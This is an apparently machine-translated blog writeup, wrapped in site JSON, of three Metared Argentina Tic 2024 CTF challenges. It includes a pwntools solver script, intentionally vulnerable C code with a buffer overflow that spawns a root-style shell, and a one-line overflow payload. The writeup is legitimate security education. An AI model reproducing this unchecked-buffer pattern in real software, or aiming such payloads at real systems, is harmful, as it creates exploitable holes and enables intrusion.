{"componentChunkName":"component---src-templates-post-template-js","path":"/ctf-metared-argentina-tic-2024-en","result":{"data":{"markdownRemark":{"id":"11ced4aa-d508-5250-aab4-4deba7f1148e","html":"
\n

This page has been machine-translated from the original page.

\n
\n

I participated in a CTF called Metared Argentina Tic 2024.

\n

There was almost no Rev, and the Pwn server kept going down, so it was not a very fun CTF, but I will still jot down a quick writeup.

\n

Baby rev (Rev)

\n
\n

Meet my expectations to get the flag

\n
\n

Analyzing the binary showed that it tries to create a file at /tmp/superSecretDirectory/SuperDuperSecretFlag.txt.

\n

After creating the superSecretDirectory directory and running the program, I was able to obtain the flag.

\n

\n \n \n \n \n \n \n \n \n

\n

Poke 2: Can you defeat Gary? (Rev)

\n

It looks like you can get the flag by winning the Pokémon battle, but if you just enter commands normally, the opponent is far too strong to beat.

\n

However, if you use item number 5 on number 7, which does not exist in the menu choices, you can win the battle.

\n

\n \n \n \n \n \n \n \n \n

\n

I was able to get the flag with the following solver.

\n
from pwn import *\n\n# Set context\n# context.log_level = \"debug\"\ncontext.arch = \"amd64\"\ncontext.endian = \"little\"\ncontext.word_size = 64\ncontext.terminal = [\"/mnt/c/Windows/system32/cmd.exe\", \"/c\", \"start\", \"wt.exe\", \"-w\", \"0\", \"sp\", \"-s\", \".75\", \"-d\", \".\", \"wsl.exe\", '-d', \"Ubuntu\", \"bash\", \"-c\"]\n\n# Set target\nTARGET_PATH = \"./pokemaster\"\nexe = ELF(TARGET_PATH)\n\n# Run program\nis_gdb = True\nis_gdb = False\nif is_gdb:\n    target = gdb.debug(TARGET_PATH, aslr=False, gdbscript=gdbscript)\nelse:\n    target = remote(\"pokemaster.ctf.cert.unlp.edu.ar\", 35001, ssl=False)\n    # target = process(TARGET_PATH)\n\n# Exploit\npayload = b\"3\"\ntarget.sendline(payload)\n\npayload = b\"5\"\ntarget.sendline(payload)\n\npayload = b\"7\"\ntarget.sendline(payload)\n\n# Finish exploit\ntarget.interactive()\ntarget.clean()
\n

Warmup (Pwn)

\n

The following source code is provided.

\n
// gcc -Wall -fno-stack-protector -z execstack -no-pie -o reto reto.c\n#include <unistd.h>\n#include <sys/types.h>\n#include <stdlib.h>\n#include <stdio.h>\n \nint main()\n{\n \n  int var;\n  int check = 0x12345678;\n  char buf[20];\n \n  fgets(buf,45,stdin);\n \n  printf(\"\\n[buf]: %s\\n\", buf);\n  printf(\"[check] %p\\n\", check);\n \n  if ((check != 0x12345678) && (check != 0x54524543))\n    printf (\"\\nClooosse!\\n\");\n \n  if (check == 0x54524543)\n   {\n     printf(\"Yeah!! You win!\\n\");\n     setreuid(geteuid(), geteuid());\n     system(\"/bin/bash\");\n     printf(\"Byee!\\n\");\n   }\n   return 0;\n}
\n

A simple exploit like the following worked. (The server was still down even after 12 hours, so I did not obtain the flag…)

\n
echo -e \"AAAAAAAAAAAAAAAAAAAAAAAAAAAACERT\" | ./reto
","fields":{"slug":"/ctf-metared-argentina-tic-2024-en","tagSlugs":["/tag/ctf-en/","/tag/rev-en/","/tag/pwn-en/","/tag/english/"]},"frontmatter":{"date":"2024-11-19","description":"A writeup for Metared Argentina Tic 2024.","tags":["CTF (en)","Rev (en)","Pwn (en)","English"],"title":"Metared Argentina Tic 2024 Writeup","socialImage":{"publicURL":"/static/894b620141381318529941e47448a923/ctf-metared-argentina-tic-2024.png"}}}},"pageContext":{"slug":"/ctf-metared-argentina-tic-2024-en"}},"staticQueryHashes":["251939775","401334301","825871152"]}